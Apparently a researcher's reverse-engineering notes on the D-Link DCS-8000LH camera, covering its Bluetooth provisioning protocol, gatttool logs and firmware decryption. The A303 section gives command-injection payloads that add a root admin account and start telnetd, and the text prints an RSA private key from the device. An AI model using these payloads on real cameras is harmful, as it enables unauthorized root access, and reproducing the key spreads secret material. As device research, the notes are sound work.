L=I=Antiboks,M=0,C=6,S=4,E=2,P=62&L=I=ASV17,M=0,C=11,S=4,E=2,P=46&L=I=ASV17-dlink,M=0,C=6,S=4,E=2,P=68&L=I=fjorde123,M=0,C=1,S=4,E=2,P=58&L=I=JOJ,M=0,C=11,S=4,E=2,P=47&L=I=Kjellerbod,M=0,C=6,S=4,E=2,P=62&L=I=mgmt,M=0,C=1,S=4,E=2,P=74&L=I=Rindedal,M=0,C=11,S=4,E=2,P=62
```

After splitting the list on &, the final result is:
```
L=I=Antiboks,M=0,C=6,S=4,E=2,P=62
L=I=ASV17,M=0,C=11,S=4,E=2,P=46
L=I=ASV17-dlink,M=0,C=6,S=4,E=2,P=68
L=I=fjorde123,M=0,C=1,S=4,E=2,P=58
L=I=JOJ,M=0,C=11,S=4,E=2,P=47
L=I=Kjellerbod,M=0,C=6,S=4,E=2,P=62
L=I=mgmt,M=0,C=1,S=4,E=2,P=74
L=I=Rindedal,M=0,C=11,S=4,E=2,P=62
```

So each L entry is made up of the same set of keys:

 * I: essid
 * M: opmode? or authalg? (always 0 in the sample)
 * C: channel (2.4 GHz only)
 * S: key_mgmt/auth_alg/proto?
 * E: key_mgmt/auth_alg/proto?
 * P: relative signal. Higher is better. dBm + 100?

Still need to figure out the mapping of the M,S,E keys to
wpa_supplicant config settings. The setting `M=0;I=Kjellerbod;S=4;E=2`
is mapped to this configuration:
```
# cat /tmp/wpa_supplicant.conf 
ctrl_interface=/var/run/wpa_supplicant
device_type=4-0050F204-3
model_name=DCS-8000LH
manufacturer=D-Link
os_version=01020300
config_methods=push_button virtual_push_button
eapol_version=1
network={
        scan_ssid=1
        ssid="Kjellerbod"
        key_mgmt=WPA-PSK
        auth_alg=OPEN
        proto=RSN
        psk="redeacted"
}
```

##### A303

The two strings S and M are url decoded, checked for special characters, and then fed into
```
	snprintf(cmdbuf, sizeof(cmdbuf), "echo \"S=%s;M=%s\" > /tmp/mydlink/reg_info", S_str, M_str);
	generic_run_cmd(cmdbuf);
	generic_run_cmd("kill -USR1 `pidof da_adaptor`");
```
It is pretty safe to assume that this provides some registration info
to the mydlink system, allowing it to connect to the cloud service.

The set of allowed characters is rather interesting:
```
 "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 !\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~"
```


This should open up a hole or two....

for example: set S to
`S=">/dev/null; echo -e "#!/bin/sh\ntouch /tmp/foo" >/tmp/kwh2; chmod 755 /tmp/kwh2; /tmp/kwh2; echo "S=x`


Try this:

 1. add an admin:pincode account to /tmp/passwd
 2. start telnetd
 3. add an admin:pincode account to the web htdigest file
 4. start web server

urlencode S in this:
```
S=">/dev/null;echo "admin:x:0:0::/:/bin/sh">>/tmp/passwd&&echo admin:pincode|chpasswd;telnetd -p 1057;echo "S=;M=

S=">/dev/null;echo "admin:x:0:0::/:/bin/sh">>/tmp/passwd&&echo admin:pincode|chpasswd;telnetd -p 1057;echo "S=;M=

S=">/dev/null;echo "admin:x:0:0::/:/bin/sh">>/tmp/passwd;echo "S=;M=
S=">/dev/null;echo admin:pincode|chpasswd;telnetd -p 1057;echo "S=;M=


S=">/dev/null;echo "admin:x:0:0::/:/bin/sh">>/tmp/passwd&&echo admin:pincode|chpasswd;telnetd -p 1057;echo "S=;M=

```

#### Notifications

The camera sends `last_action` notifications as an alternative to readding lots of A000 requests:

	"C=%d;A=%d;R=%d", last_action_status.uuid, last_action_status.mode, last_action_status.state





#### Sample Bluetooth network configuration

 1. find camera: LE scan (should be limited to devices announcing 0000d001-0000-1000-8000-00805f9b34fb?)
 2. connect to device (input: selection): LE connect
 3. find the announced services: GATT primary
 4. get attributes for our service: GATT characteristics for UUID 0000d001-0000-1000-8000-00805f9b34fb
 5. read challenge: GATT read UUID 0000a001-0000-1000-8000-00805f9b34fb => M=1;C=b2gaescrbldchnik
 6. authenticate and unlock (input: pincode): GATT write UUID 0000a001-0000-1000-8000-00805f9b34fb <= M=0;K=jrtY6nONQ5rV+2Ph
 7. check current wifi settings: GATT read UUID 0000a101-0000-1000-8000-00805f9b34fb => M=0;I=;S=0;E=0
 8. scan for wifi networks (repeat until P=N, and then concat the results without N and P)
    a. GATT read UUID 0000a100-0000-1000-8000-00805f9b34fb => N=3;P=1;L=I=Antiboks,M=0,C=1,S=4,E=2,P=70&L=I=ASV17,M=0,C=11,S=4,E=2,P=57&L=I=ASV17-dlink,M=0,C=6,S=4,E=2,P=71&L=I=fjorde123,M=0
	b. GATT read UUID 0000a100-0000-1000-8000-00805f9b34fb => N=3;P=2;,C=1,S=4,E=2,P=58&L=I=Kjellerbod,M=0,C=1,S=4,E=2,P=74&L=I=mgmt,M=0,C=1,S=4,E=2,P=74&L=I=noramaja_2G,M=0,C=11,S=4,E=2,P=4
	c. GATT read UUID 0000a100-0000-1000-8000-00805f9b34fb => N=3;P=3;6&L=I=Rindedal,M=0,C=11,S=4,E=2,P=60
 9. select wifi network (input: password): GATT write UUID 0000a101-0000-1000-8000-00805f9b34fb <= M=0;I=Kjellerbod;S=4;E=2;K=redeacted
 10. commit wifi setting: GATT write UUID 0000a102-0000-1000-8000-00805f9b34fb <= C=1
 11. check wifi settings again: GATT read UUID 0000a101-0000-1000-8000-00805f9b34fb => M=0;I=Kjellerbod;S=4;E=2
 12. check ip config: GATT read UUID 0000a104-0000-1000-8000-00805f9b34fb => I=192.168.2.37;N=255.255.255.0;G=192.168.2.1;D=148.122.16.253
 13. end session by locking: GATT write UUID 0000a001-0000-1000-8000-00805f9b34fb <= M=1;K=jrtY6nONQ5rV+2Ph
 


```
root@miraculix:/tmp# hcitool -i hci0 lescan
LE Scan ...
CC:B1:1A:1A:C6:A1 (unknown)
B0:C5:54:4C:CC:73 (unknown)
B0:C5:54:4C:CC:73 DCS-8000LH-CC73
16:E6:00:43:3E:EA (unknown)
^C
root@miraculix:/tmp# gatttool -b B0:C5:54:4C:CC:73 -I
[B0:C5:54:4C:CC:73][LE]> connect
Attempting to connect to B0:C5:54:4C:CC:73
Connection successful
[B0:C5:54:4C:CC:73][LE]> primary 
attr handle: 0x0001, end grp handle: 0x0008 uuid: 00001800-0000-1000-8000-00805f9b34fb
attr handle: 0x0010, end grp handle: 0x0010 uuid: 00001801-0000-1000-8000-00805f9b34fb
attr handle: 0x0011, end grp handle: 0x002e uuid: 0000d001-0000-1000-8000-00805f9b34fb
[B0:C5:54:4C:CC:73][LE]> characteristics 0x0011
handle: 0x0012, char properties: 0x12, char value handle: 0x0013, uuid: 0000a000-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x0a, char value handle: 0x0016, uuid: 0000a001-0000-1000-8000-00805f9b34fb
handle: 0x0017, char properties: 0x02, char value handle: 0x0018, uuid: 0000a100-0000-1000-8000-00805f9b34fb
handle: 0x0019, char properties: 0x0a, char value handle: 0x001a, uuid: 0000a101-0000-1000-8000-00805f9b34fb
handle: 0x001b, char properties: 0x08, char value handle: 0x001c, uuid: 0000a102-0000-1000-8000-00805f9b34fb
handle: 0x001d, char properties: 0x02, char value handle: 0x001e, uuid: 0000a103-0000-1000-8000-00805f9b34fb
handle: 0x001f, char properties: 0x02, char value handle: 0x0020, uuid: 0000a104-0000-1000-8000-00805f9b34fb
handle: 0x0021, char properties: 0x0a, char value handle: 0x0022, uuid: 0000a200-0000-1000-8000-00805f9b34fb
handle: 0x0023, char properties: 0x08, char value handle: 0x0024, uuid: 0000a201-0000-1000-8000-00805f9b34fb
handle: 0x0025, char properties: 0x0a, char value handle: 0x0026, uuid: 0000a300-0000-1000-8000-00805f9b34fb
handle: 0x0027, char properties: 0x02, char value handle: 0x0028, uuid: 0000a301-0000-1000-8000-00805f9b34fb
handle: 0x0029, char properties: 0x08, char value handle: 0x002a, uuid: 0000a302-0000-1000-8000-00805f9b34fb
handle: 0x002b, char properties: 0x08, char value handle: 0x002c, uuid: 0000a303-0000-1000-8000-00805f9b34fb
handle: 0x002d, char properties: 0x02, char value handle: 0x002e, uuid: 0000a304-0000-1000-8000-00805f9b34fb
[B0:C5:54:4C:CC:73][LE]> char-read-hnd 0x0016
Characteristic value/descriptor: 4d 3d 31 3b 43 3d 62 32 67 61 65 73 63 72 62 6c 64 63 68 6e 69 6b
[B0:C5:54:4C:CC:73][LE]> char-write-req 0x0016 4d3d303b4b3d6a727459366e4f4e513572562b325068
Characteristic value was written successfully
[B0:C5:54:4C:CC:73][LE]> char-read-hnd 0x001a
Characteristic value/descriptor: 4d 3d 30 3b 49 3d 3b 53 3d 30 3b 45 3d 30 
[B0:C5:54:4C:CC:73][LE]> char-read-hnd 0x0018
Characteristic value/descriptor: 4e 3d 33 3b 50 3d 31 3b 4c 3d 49 3d 41 6e 74 69 62 6f 6b 73 2c 4d 3d 30 2c 43 3d 31 2c 53 3d 34 2c 45 3d 32 2c 50 3d 37 30 26 4c 3d 49 3d 41 53 56 31 37 2c 4d 3d 30 2c 43 3d 31 31 2c 53 3d 34 2c 45 3d 32 2c 50 3d 35 37 26 4c 3d 49 3d 41 53 56 31 37 2d 64 6c 69 6e 6b 2c 4d 3d 30 2c 43 3d 36 2c 53 3d 34 2c 45 3d 32 2c 50 3d 37 31 26 4c 3d 49 3d 66 6a 6f 72 64 65 31 32 33 2c 4d 3d 30 
[B0:C5:54:4C:CC:73][LE]> char-read-hnd 0x0018
Characteristic value/descriptor: 4e 3d 33 3b 50 3d 32 3b 2c 43 3d 31 2c 53 3d 34 2c 45 3d 32 2c 50 3d 35 38 26 4c 3d 49 3d 4b 6a 65 6c 6c 65 72 62 6f 64 2c 4d 3d 30 2c 43 3d 31 2c 53 3d 34 2c 45 3d 32 2c 50 3d 37 34 26 4c 3d 49 3d 6d 67 6d 74 2c 4d 3d 30 2c 43 3d 31 2c 53 3d 34 2c 45 3d 32 2c 50 3d 37 34 26 4c 3d 49 3d 6e 6f 72 61 6d 61 6a 61 5f 32 47 2c 4d 3d 30 2c 43 3d 31 31 2c 53 3d 34 2c 45 3d 32 2c 50 3d 34 
[B0:C5:54:4C:CC:73][LE]> char-read-hnd 0x0018
Characteristic value/descriptor: 4e 3d 33 3b 50 3d 33 3b 36 26 4c 3d 49 3d 52 69 6e 64 65 64 61 6c 2c 4d 3d 30 2c 43 3d 31 31 2c 53 3d 34 2c 45 3d 32 2c 50 3d 36 30 
[B0:C5:54:4C:CC:73][LE]> char-write-req 0x001a 4d3d303b493d4b6a656c6c6572626f643b533d343b453d323b4b3d7265646163746564
Characteristic value was written successfully
[B0:C5:54:4C:CC:73][LE]> char-write-req 0x001c 433d31
Characteristic value was written successfully
[B0:C5:54:4C:CC:73][LE]> char-read-hnd 0x001a
Characteristic value/descriptor: 4d 3d 30 3b 49 3d 4b 6a 65 6c 6c 65 72 62 6f 64 3b 53 3d 34 3b 45 3d 32 
[B0:C5:54:4C:CC:73][LE]> char-read-hnd 0x0020
Characteristic value/descriptor: 49 3d 31 39 32 2e 31 36 38 2e 32 2e 33 37 3b 4e 3d 32 35 35 2e 32 35 35 2e 32 35 35 2e 30 3b 47 3d 31 39 32 2e 31 36 38 2e 32 2e 31 3b 44 3d 31 34 38 2e 31 32 32 2e 31 36 2e 32 35 33 
[B0:C5:54:4C:CC:73][LE]> char-write-req 0x0016 4d3d313b4b3d6a727459366e4f4e513572562b325068
Characteristic value was written successfully
[B0:C5:54:4C:CC:73][LE]> disconnect 
```





## Ultimate automated control


Loose plan:

 1. configure networking
 2. enable telnetd
 3. optional backup
 4. replace /opt with our prebaked version, having mostly /opt/opt.local and /opt/version (reported as mydlink version by both bluetooth and mdns - can be useful)



Note that var/www/config/firmwareupgrade.cgi is a shell script.... We might abuse that.

Useful info indeed:

verifyFirmware() {
	result=uploadSign
	#tar tf "$UPLOADBIN" > /dev/null 2> /dev/null || return 1
	fw_sign_verify.sh "$UPLOADBIN" /etc/db/verify.key > /dev/null 2> /dev/null || return 1
	return 0
}

decryptFirmware() {
	result=uploadDecrypt
	pibinfo PriKey > $dir/decrypt.key 2> /dev/null
	fw_decrypt.sh $dir/decrypt.key $out > /dev/null 2> /dev/null || return 1
	return 0
}


Also note:

fw-2.02.02/root/tmp/download/version_info:{"code": 0, "fw_ver_type": "REGULAR", "process_time": 210, "main_board": {"url": "https://mydlinkmpfw.auto.mydlink.com/DCS-8000LH/DCS-8000LH_Ax_v2.02.02_3014.bin", "fw_version": "2.02.02", "md5": "97c46e5b998df42c3363866e895aa11b"}, "release_version": "3.1.0-b03", "device_id": "B0C5544CCC73"}


Wow! The decryptkey is loaded into the pib!

# pibinfo PriKey 
-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQC87QYtji6c0odxDs5SON+lpP0WE52WMK4OuRo8mHL0HWi0bZe0
dyDcJ6IO6EwKuIn0sJi5oY8/P0g3PAp4TTlZm6WBiwZ8XaPwnGY8Kd2lrcRvPR+0
UJ07hQ4RvhfFmanN8KEhe/myKkMldO/reyW8nwRRJwc2OHEvZ81KfAppWwIDAQAB
AoGAKGeIqrV9woxD6yn/dhYzvnlKpy4KxdQjZYKw2cTA0PR5MB1AFJhlrq/LOOT1
XlWZK3uZLhofSKeAClAM7S2W1fTbxmM8y/3g6c5Z3LbpNsvwVTWNp5ErbKMMeR+q
CnUA+NQ47f65EwUUyTIWhMcgINLjZT33Eg0DOPUVIoiDEgECQQDta5ehRLQQN8Tr
5OROwFrJA3qL4g+qmcnUrVfgDE/ro1zxcYluleg8ZCAJbhBgju7Y75voRlrZITkF
2dGFZq4PAkEAy7Xowx+az4ZU6Iw/AGmbv801digR9345UKZZNRLffLh0Hda2mPM+
25whWWTMiPcY0ty9/MZovZvVyuYuxzHb9QJBAJlbEgpdMmH3Y/9rTf2ASiPlV1bb
onrz82aowUY7LbRrRTG/wKHpuqSnl/n/WhzEtorx2qbiKvRtfUPGOowMkwkCQGgi
n9BPcbYwd2tBdlthoUrVPkUeisC399iwkN2+vhxltoYiYsmhXzqof6vRCXXiyv/P
9Bcp3hU/enT0YmlVpZkCQQDmsui42t0uup3hj6ITZa2JRkCCUI7qyU0HrE65lj88
s4IoUXr0RWUtnEbeDUbw2GtQVHNoldXVXSh30SDb6El7
-----END RSA PRIVATE KEY-----


Helpful hint here https://stackoverflow.com/questions/34304570/how-to-resolve-the-evp-decryptfinal-ex-bad-decrypt-during-file-decryption :

Default digest has changed between those versions from md5 to
sha256. One can specify the default digest on the command line as -md
sha256 or -md md5 respectively



And this works!!!



openssl rsautl -decrypt -in aes.key.rsa -inkey ~/docs/hardware/dlink/dcs8000lh/PriKey.pem -out aes.key
password=`cat aes.key`


bjorn@miraculix:/tmp/update2$ openssl aes-128-cbc -v -md md5 -kfile aes.key -nosalt -d -in update.bin.aes -out update.bin
bufsize=8192
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
bytes read   :   936464
bytes written:   936454


bjorn@miraculix:/tmp/update$ openssl aes-128-cbc -v -md md5 -kfile aes.key -nosalt -d -in update.bin.aes -out update.bin
bufsize=8192
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
bytes read   :   936416
bytes written:   936413



Note that update.bin also is a shell script! 



bjorn@miraculix:/tmp/update$ sh update.bin info
MECH_SIGN="QPAT"
MECH_VERSION="1.0"
MECH_APP="doUpdate"
HWBOARD="r8000lh"
HWVERSION="1.0.0"
MODEL="DCS-8000LH"
PRODUCT="Internet Camera"
OEM="D-Link"
VENDOR="Alphanetworks"
VERSION="1.0.0-1515"
DESCRIPT="A full update image."
PACKAGE=""
bjorn@miraculix:/tmp/update$ sh update.bin brief

This is a full update image.
It will update following, ...
        1. boot script.
        2. kernel.
        3. root system.
And after it is updated, the system will reboot in 1 second.




This is extremely useful:

```
change_root() {
	mkdir -p /tmp/root
	mount --bind /tmp/root /tmp/root
	cd /tmp/root/
	mkdir -p bin sbin usr/bin lib sys proc mnt var dev media tmp
	cd /bin
	cp -arf busybox ash ln vi sh mount umount sync grep openssl tar cp mv ls cat sleep mkdir rmdir rm kill chmod ps /tmp/root/bin/ 
	cp -af /sbin/pivot_root  /tmp/root/sbin/
	cp -af /sbin/reboot  /tmp/root/sbin/
	cp -af /usr/bin/flash_erase /tmp/root/usr/bin/
	cp -af /usr/bin/free /tmp/root/usr/bin/
	cp -af /usr/bin/cut /tmp/root/usr/bin/
	cp -af /usr/bin/expr /tmp/root/usr/bin/
	cd /lib
	cp -arf libssl.so* libcrypt* ld-uClibc* libgcc* libuClibc-0.9.33.so libpthread* libc.* libm-* libm.* libmtd.so libdl* /tmp/root/lib/

	/bin/mount -o noatimve,move /proc /tmp/root/proc
	/sbin/pivot_root /var/tmp/root /var/tmp/root/mnt
	cp -arf /mnt/dev/* /dev/
	ln -sf /bin/busybox /usr/bin/[
	ln -sf /bin/busybox /usr/bin/[[
	ln -sf /bin/busybox /usr/bin/]
	mkdir -p /etc/openssl/
	cp -f /mnt/etc/openssl/openssl.cnf /etc/openssl/
	mount --bind /mnt/tmp /tmp
	/bin/umount -l /mnt
	echo 3 > /proc/sys/vm/drop_caches
	/bin/sync
	cd /
	busybox killall dbd
	busybox killall lighttpd
	busybox killall watchDog
	#exec /bin/busybox sh
}
```




Note that update.bin is almost identical in the two sample archives - the ddPack binary is exactly the same:


```
bjorn@miraculix:/tmp$ diff -u update{,2}/update.bin|less
--- update/update.bin   2019-05-10 15:02:35.722407365 +0200
+++ update2/update.bin  2019-05-10 15:02:18.802296356 +0200
@@ -5,7 +5,7 @@
 OEM="D-Link"
 MODEL="DCS-8000LH"
 PRODUCT="Internet Camera"
-VERSION="1.0.0-1515"
+VERSION="1.0.0-3014"
 PACKAGE=""
 WIRELESS_MODULE="RTL8723BU"
 # the DESCRIPT must be xml encoded.
@@ -24,7 +24,7 @@
 "
 }
 
-MD5SUM="f91196794237bd39bd7040919d65cbdf"
+MD5SUM="ca8aab5cda35beaab74ce9fdad65f909"
 
 MECH_SIGN="QPAT"
 MECH_VERSION="1.0"
@@ -52,7 +52,7 @@
 }
 
 extract_ddpack() {
-       head -n 15453 $1 | tail -n +165 | uudecode -o /tmp/ddPack
+       head -n 15454 $1 | tail -n +166 | uudecode -o /tmp/ddPack
 }
 
 dumpPibSettings() {
@@ -124,6 +124,7 @@
        cp -arf libssl.so* libcrypt* ld-uClibc* libgcc* libuClibc-0.9.33.so libpthread* libc.* libm-* libm.* libmtd.so libdl* /tmp/root/lib/
 
        /bin/mount -o noatimve,move /proc /tmp/root/proc
+       /bin/mount -t sysfs sysfs /tmp/root/sys
        /sbin/pivot_root /var/tmp/root /var/tmp/root/mnt
        cp -arf /mnt/dev/* /dev/
        ln -sf /bin/busybox /usr/bin/[
```




```
bjorn@miraculix:/tmp/update$ hexdump -C update |head -16
00000000  53 b6 3b 76 d5 56 dc a3  fb 82 ff 82 31 1c 8e f4  |S.;v.V......1...|
00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000020  75 70 64 61 74 65 2d 67  65 6e 65 72 69 63 5f 31  |update-generic_1|
00000030  2e 30 2e 30 5f 33 36 32  35 2e 62 69 6e 00 00 00  |.0.0_3625.bin...|
00000040  03 00 00 00 ff 00 00 00  00 00 06 00 00 60 02 00  |.............`..|
00000050  00 00 00 00 f2 10 f1 bf  ff 00 00 00 00 00 1e 00  |................|
00000060  9e 5b 19 00 00 00 00 00  bb 1e e8 0a ff 00 00 00  |.[..............|
00000070  00 00 4e 00 00 50 80 00  00 00 00 00 12 6c ad 99  |..N..P.......l..|
00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000400  68 73 71 73 0d 00 00 00  07 42 0b 5a 00 00 02 00  |hsqs.....B.Z....|
00000410  02 00 00 00 04 00 11 00  e0 00 01 00 04 00 00 00  |................|
00000420  91 01 00 00 00 00 00 00  a0 5c 02 00 00 00 00 00  |.........\......|
00000430  98 5c 02 00 00 00 00 00  ff ff ff ff ff ff ff ff  |.\..............|
00000440  48 5a 02 00 00 00 00 00  3a 5b 02 00 00 00 00 00  |HZ......:[......|
00000450  24 5c 02 00 00 00 00 00  8a 5c 02 00 00 00 00 00  |$\.......\......|

bjorn@miraculix:/tmp/update$ binwalk update

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
1024          0x400           Squashfs filesystem, little endian, version 4.0, compression:xz, size: 154784 bytes, 13 inodes, blocksize: 131072 bytes, created: 2017-11-14 19:20:39
156672        0x26400         uImage header, header size: 64 bytes, header CRC: 0x63BA4812, created: 2017-11-14 18:53:33, image size: 1661790 bytes, Data Address: 0x804D4960, Entry Point: 0x804D4960, data CRC: 0xAF348ADF, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: none, image name: "linux_3.10"
1818526       0x1BBF9E        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 8408112 bytes, 2142 inodes, blocksize: 131072 bytes, created: 2017-11-14 19:21:12
```



```
bjorn@miraculix:/tmp/update2$  hexdump -C update |head -16
00000000  84 dd 19 a9 dc 69 0b 10  1b 6d 72 09 43 04 f7 f4  |.....i...mr.C...|
00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000020  75 70 64 61 74 65 2d 67  65 6e 65 72 69 63 5f 31  |update-generic_1|
00000030  2e 30 2e 30 5f 33 36 32  35 2e 62 69 6e 00 00 00  |.0.0_3625.bin...|
00000040  03 00 00 00 ff 00 00 00  00 00 06 00 00 30 05 00  |.............0..|
00000050  00 00 00 00 8e 91 0e 7e  ff 00 00 00 00 00 1e 00  |.......~........|
00000060  c3 5a 19 00 00 00 00 00  0e 5b d0 18 ff 00 00 00  |.Z.......[......|
00000070  00 00 4e 00 00 20 7e 00  00 00 00 00 f4 2f 3c fb  |..N.. ~....../<.|
00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000400  68 73 71 73 10 00 00 00  c4 3b 65 5c 00 00 02 00  |hsqs.....;e\....|
00000410  02 00 00 00 04 00 11 00  e0 00 01 00 04 00 00 00  |................|
00000420  05 02 00 00 00 00 00 00  43 2b 05 00 00 00 00 00  |........C+......|
00000430  3b 2b 05 00 00 00 00 00  ff ff ff ff ff ff ff ff  |;+..............|
00000440  78 28 05 00 00 00 00 00  96 29 05 00 00 00 00 00  |x(.......)......|
00000450  b7 2a 05 00 00 00 00 00  2d 2b 05 00 00 00 00 00  |.*......-+......|

bjorn@miraculix:/tmp/update2$ binwalk update

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
1024          0x400           Squashfs filesystem, little endian, version 4.0, compression:xz, size: 338755 bytes, 16 inodes, blocksize: 131072 bytes, created: 2019-02-14 09:58:28
340992        0x53400         uImage header, header size: 64 bytes, header CRC: 0x675F081D, created: 2019-02-14 09:31:53, image size: 1661571 bytes, Data Address: 0x804D4960, Entry Point: 0x804D4960, data CRC: 0x73083021, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: none, image name: "linux_3.10"
2002627       0x1E8EC3        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 8265620 bytes, 2145 inodes, blocksize: 131072 bytes, created: 2019-02-14 09:58:45

bjorn@miraculix:/tmp/update2$ cmp _update.extracted/400.squashfs ~/docs/hardware/dlink/dcs8000lh/fw-2.02.02/mtd/mtd2 
_update.extracted/400.squashfs /home/bjorn/docs/hardware/dlink/dcs8000lh/fw-2.02.02/mtd/mtd2 differ: byte 339969, line 1341



bjorn@miraculix:/tmp/update2$ hexdump -C ~/docs/hardware/dlink/dcs8000lh/fw-2.02.02/mtd/mtd2 |tail -20
00052a70  00 02 00 01 00 73 61 c1  01 09 00 02 00 06 00 73  |.....sa........s|
00052a80  74 72 6d 73 76 72 e5 01  0a 00 02 00 06 00 76 65  |trmsvr........ve|
00052a90  72 73 69 6f 6e 20 80 d4  be 04 00 00 00 00 00 a4  |rsion ..........|
00052aa0  69 00 00 00 00 00 00 ec  47 04 00 00 00 00 00 e8  |i.......G.......|
00052ab0  76 00 00 00 00 00 00 95  2a 05 00 00 00 00 00 6c  |v.......*......l|
00052ac0  00 fd 37 7a 58 5a 00 00  01 69 22 de 36 03 c0 31  |..7zXZ...i".6..1|
00052ad0  80 01 21 01 02 00 00 00  00 d5 63 7a 58 e0 00 7f  |..!.......czX...|
00052ae0  00 29 5d 00 02 80 8c c2  fd 03 13 13 bd 99 05 db  |.)].............|
00052af0  e5 85 88 7a 67 d4 1e 28  ef a3 03 b2 03 4e 9e c5  |...zg..(.....N..|
00052b00  54 57 16 26 a7 2a 6b c0  71 9a 2b c4 e0 00 00 00  |TW.&.*k.q.+.....|
00052b10  00 13 b2 2b 6f 00 01 45  80 01 00 00 00 f5 98 9a  |...+o..E........|
00052b20  95 3e 30 0d 8b 02 00 00  00 00 01 59 5a bf 2a 05  |.>0........YZ.*.|
00052b30  00 00 00 00 00 04 80 00  00 00 00 35 2b 05 00 00  |...........5+...|
00052b40  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00053000  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|
*
00060000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00100000



bjorn@miraculix:/tmp/update2$ hexdump -C _update.extracted/400.squashfs  |egrep '^0005(2[b-f]|30)'
00052b00  54 57 16 26 a7 2a 6b c0  71 9a 2b c4 e0 00 00 00  |TW.&.*k.q.+.....|
00052b10  00 13 b2 2b 6f 00 01 45  80 01 00 00 00 f5 98 9a  |...+o..E........|
00052b20  95 3e 30 0d 8b 02 00 00  00 00 01 59 5a bf 2a 05  |.>0........YZ.*.|
00052b30  00 00 00 00 00 04 80 00  00 00 00 35 2b 05 00 00  |...........5+...|
00052b40  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00053000  27 05 19 56 67 5f 08 1d  5c 65 35 89 00 19 5a 83  |'..Vg_..\e5...Z.|
00053010  80 4d 49 60 80 4d 49 60  73 08 30 21 05 05 02 00  |.MI`.MI`s.0!....|
00053020  6c 69 6e 75 78 5f 33 2e  31 30 00 00 00 00 00 00  |linux_3.10......|
00053030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00053040  21 80 80 00 21 88 a0 00  21 90 c0 00 21 98 e0 00  |!...!...!...!...|
00053050  67 80 04 3c f0 a3 84 24  a7 80 06 3c 00 c4 c6 24  |g..<...$...<...$|
00053060  00 00 80 ac fe ff c4 14  04 00 84 24 67 80 04 3c  |...........$g..<|
00053070  00 a4 84 24 a7 80 1d 3c  00 c4 bd 27 4d 80 1f 3c  |...$...<...'M..<|
00053080  b4 49 ff 27 4d 80 1a 3c  4c 4c 5a 27 08 00 40 03  |.I.'M..<LLZ'..@.|
00053090  00 00 00 00 21 20 00 02  21 28 20 02 21 30 40 02  |....! ..!( .!0@.|
000530a0  21 38 60 02 3c 80 1a 3c  e0 98 5a 37 08 00 40 03  |!8`.<..<..Z7..@.|
000530b0  00 00 00 00 ff ff 00 10  00 00 00 00 00 00 00 00  |................|
000530c0  03 00 81 04 67 80 18 3c  08 00 e0 03 21 10 00 00  |....g..<....!...|
000530d0  fc a3 02 8f 05 00 40 14  fc ff 03 24 67 80 02 3c  |......@....$g..<|
000530e0  f4 a3 42 8c fc a3 02 af  fc a3 02 8f 03 00 42 24  |..B...........B$|
000530f0  24 10 43 00 21 20 82 00  fc a3 04 af 67 80 18 3c  |$.C.! ......g..<|


bjorn@miraculix:/tmp/update2$ hexdump -C ~/docs/hardware/dlink/dcs8000lh/fw-2.02.02/mtd/mtd2 |egrep '^0005(2[b-f]|300)'
00052b00  54 57 16 26 a7 2a 6b c0  71 9a 2b c4 e0 00 00 00  |TW.&.*k.q.+.....|
00052b10  00 13 b2 2b 6f 00 01 45  80 01 00 00 00 f5 98 9a  |...+o..E........|
00052b20  95 3e 30 0d 8b 02 00 00  00 00 01 59 5a bf 2a 05  |.>0........YZ.*.|
00052b30  00 00 00 00 00 04 80 00  00 00 00 35 2b 05 00 00  |...........5+...|
00052b40  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00053000  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|


bjorn@miraculix:/tmp/update2$ hexdump -C _update.extracted/400.squashfs  |tail -20
000ffed0  31 a7 7c a3 ec 78 cf 09  b4 e3 e3 72 c4 00 99 70  |1.|..x.....r...p|
000ffee0  92 a3 5b 89 1a 7a ad 0e  b8 0b 37 5f b1 a6 d9 3b  |..[..z....7_...;|
000ffef0  46 ad ad 8f 16 21 94 c3  a9 39 94 f6 c6 2a 42 8e  |F....!...9...*B.|
000fff00  c5 56 27 af a4 b9 3f 8b  52 1d 05 a3 7e 3f d3 c1  |.V'...?.R...~?..|
000fff10  9b e0 e5 5c a3 cd b6 e8  9a 5f 8c 3c b6 8b 0f e7  |...\....._.<....|
000fff20  17 2f e9 ed ce 9e b8 97  6d 7c a0 44 6f 42 a0 d0  |./......m|.DoB..|
000fff30  29 de 24 34 46 1c a6 98  a1 92 39 68 cf 99 e9 4f  |).$4F.....9h...O|
000fff40  e7 b3 df 76 40 5a e4 80  ac 38 bc 80 fb b6 f9 4e  |...v@Z...8.....N|
000fff50  87 fb da 3c 47 a7 65 ff  f4 94 f2 71 3f a0 59 80  |...<G.e....q?.Y.|
000fff60  86 22 db bb a6 15 13 51  07 8d b0 50 70 b7 85 a9  |.".....Q...Pp...|
000fff70  08 97 54 ee 93 3f 96 b3  22 b3 7b 1d 74 cb b1 00  |..T..?..".{.t...|
000fff80  c6 d1 4f 25 d7 cd 86 8f  7d a2 6a c7 12 2f 6d 65  |..O%....}.j../me|
000fff90  6e 14 ae 2f 75 02 9c be  25 e5 82 e8 24 70 4c 45  |n../u...%...$pLE|
